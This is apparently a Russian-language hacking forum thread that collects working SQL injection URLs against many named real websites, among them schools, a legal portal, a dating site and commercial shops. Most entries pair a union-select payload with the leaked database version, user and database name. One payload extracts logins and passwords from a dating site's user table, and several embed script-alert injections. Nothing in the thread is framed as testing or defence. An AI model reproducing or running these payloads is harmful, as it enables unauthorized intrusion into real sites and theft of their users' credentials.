SQL Инъекции

Code:

http://www.christopheracademy.com/content.php?id=39+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16--

Database Version: 4.1.22-standard
Database name: christop_christop
User name: christop_christo@localhost

PR 3

 

4.1.22-log
[email protected]$$$2905

 

lennickaberman.com pr4
Консультанты чтоле какието -_-

Code:

http://www.lennickaberman.com/online_store/product_details.php?cid=22&pid=999+UNION+ALL+SELECT+null,null,null,null,null,null,null,null,null,CONCAT(0x3C7363726970743E616C6572742827,Version(),0x3a,user(),0x27293C2F7363726970743E),null,null,null,null+--+

Database: 4.1.25-Debian_m
User: [email protected]

 

www.transera.com.ua

HTML:

http://www.transera.com.ua/forum/forum.php?id=9+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database()),6,7

Version():5.0.81-community
User():diving_user@localhost
Database:diving_transera

www.tavrida-school.com

HTML:

http://www.tavrida-school.com/shownews.php?news_code=59+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7

Database Version: 4.0.27-max-log
Database name: geokon10_db02
User name: [email protected]

 

infolex.lt
LEGAL PORTAL

 

finish:handle13:105
5.0.45-log

 

Code:

http://silurus.snowhall.com/wcategory.php?ID=6+union+select+1,2,3,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,5,6,7,8,9,10--

5.0.83-log:demosnowhall@localhost:silurus_snowhall_com

Code:

http://www.clasificanes.com/wcategory.php?ID=17+union+select+1,2,3,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,5,6,7,8,9,10--

5.0.77-community-log:clasifi_monica@localhost:clasifi_anuncios

 

http://www.neftocard.ru/about/news/news.php?newsid=-9+union+select+1,2,3,4,5,6,7,8+/*+

http://www.hamelinpaperbrands.co.uk/news/news.php?newsid=-8+union+select+1,2,3,4,5,6,7,8+/*+

http://silvercast.ru/index.php?page=3&viewtext=-2+union+select+1,group_concat(table_name)+from+information_schema.tables+--+

http://www.ecocity.gr/main.php?cat=54&art=-7+union+Select+group_concat(table_name),2,3,4,5+from+information_schema.tables+group+by+table_schema+/*+

 

vitecmm.com pr5
VITEC Multimedia, a pioneer and a worldwide leader in the digital video domain since 1988.

Code:

http://www.vitecmm.com/contentv2.php?theme=null+union+all+select+null,null,null,null,concat_ws(0x2f,0x3C7363726970743E616C6572742827,Version(),Database(),User(),0x27293C2F7363726970743E),null,null,null,null,null,null+--+

vitecv2@localhost/4.0.17-log/vitec

сайт весь в дырках

 

Code:

http://www.egyptiansociety.net/media/index.php?action=showpic&cat=8&pic=59&pic=-1/**/union/**/all/**/select/**/1,1,1,concat(user(),0x202D20,database(),0x202D20,Version()),null,1,null,0,0,1,0,0,1,0,0,1,null,null,0,0,1,1

abahei_abahei@localhost - abahei_egyptiansocietyphotokorn - 5.1.30

 

www.miamacdonald.com - PR=4
http://www.miamacdonald.com/a.php?id=1/**/anD/**/1=7%20/**/uniON/**/seLEcT/**/1,version(),3,4,5,6/*
version - 4.1.22
user - miamacdonald@localhost
database - miamacdonald

 

Arizona State Legislature

Code:

Microsoft SQL Server 2005 - 9.00.3159.00 (Intel X86) Mar 23 2007 16:15:11 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

 

Code:

http://shubarov.ru/photo/index.php?action=showpic&cat=8&pic=59&pic=-1/**/union/**/all/**/select/**/1,1,1,concat(user(),0x202D20,database(),0x202D20,Version()),null,1,null,0,0,1,0,0,1,0,0,1,null,null,0,0,1,1

[email protected] - shubarov_ru - 5.1.24-rc-log

Code:

http://jkf.israphotos.com/index.php?action=showpic&cat=8&pic=59&pic=-1/**/union/**/all/**/select/**/1,1,1,concat(user(),0x202D20,database(),0x202D20,Version()),null,1,null,0,0,1,0,0,1,0,0,1,null,null,0,0,1,1/*

[email protected] - db191724041 - 4.0.27-max-log

 

Code:

http://www.vecxel.com/rain/sermon/sermon_order.php?sermon_id=4+union+select+1,concat(version(),database(),user()),3,4,5,6,7,8

Database Version: 5.0.67.d7-ourdelta-log
Database name: latterrain
User name: [email protected]

PR2

 

4.0.27-log
[email protected]
examen

 

http://www.usaonlinedatingsite.com/p.php?id=-1%20UNION%20SELECT,1,2,3,4,concat_ws%280x3a,login,password%29,6,7,8,9,10,11,12,13,14,15,16,17,18%20FROM%20usaonli_db1.frm_users%20LIMIT%200,1--


5 версия...

 

PostgreSQL 8.2.3 on x86_64-unknown-linux-gnu, compiled by GCC gcc (GCC) 4.1.1 20061011 (Red Hat 4.1.1-30)

 

iwsi.org pr3
The International Women's Studies Institute.

Code:

http://www.iwsi.org/pages.cfm?ID=null union all select null,null,null,null,null,concat_ws(0x2f,0x3C7363726970743E616C6572742827,version(),user(),database(),0x27293C2F7363726970743E),null,null,null,null,null,null,null,null,null,null

4.1.20-log/[email protected]/iwsicontent

 

Code:

http://velosport.ru/catalog/?cid=3&id=55+UNION+SELECT+1,2,3,concat_ws(0x3a,user(),version(),database())--

[email protected]:4.1.20-1.gms:w_hbsp

ТИЦ: 230

Code:

http://ckpt.ru/newsdetails.html?id=-97+union+select+1,2,concat_ws(0x3a,user(),version(),database()),4,5,6,7--

[email protected]:4.0.27-max-log:exportbe_ckpt

ТИЦ: 20
PR: 4

 

Смог найти префикс, и всё

Code:

http://www.st-art.ru/?go=catalog&cat_id=1+UNION+SELECT+1,concat(newsid,0x3a3a3a,newstext),3,4+from+im_news/*

Ну и стандартный набор

Code:

http://www.st-art.ru/?go=catalog&cat_id=1+UNION+SELECT+1,concat(user(),0x3a3a3a,database(),0x3a3a3a,version()),3,4+from+im_news/*

[email protected]:::im_st-art_ru:::4.0.27-log
Ну и из кэша гугла путь
/bhome/part1/02/start/st-art.ru/www/main.php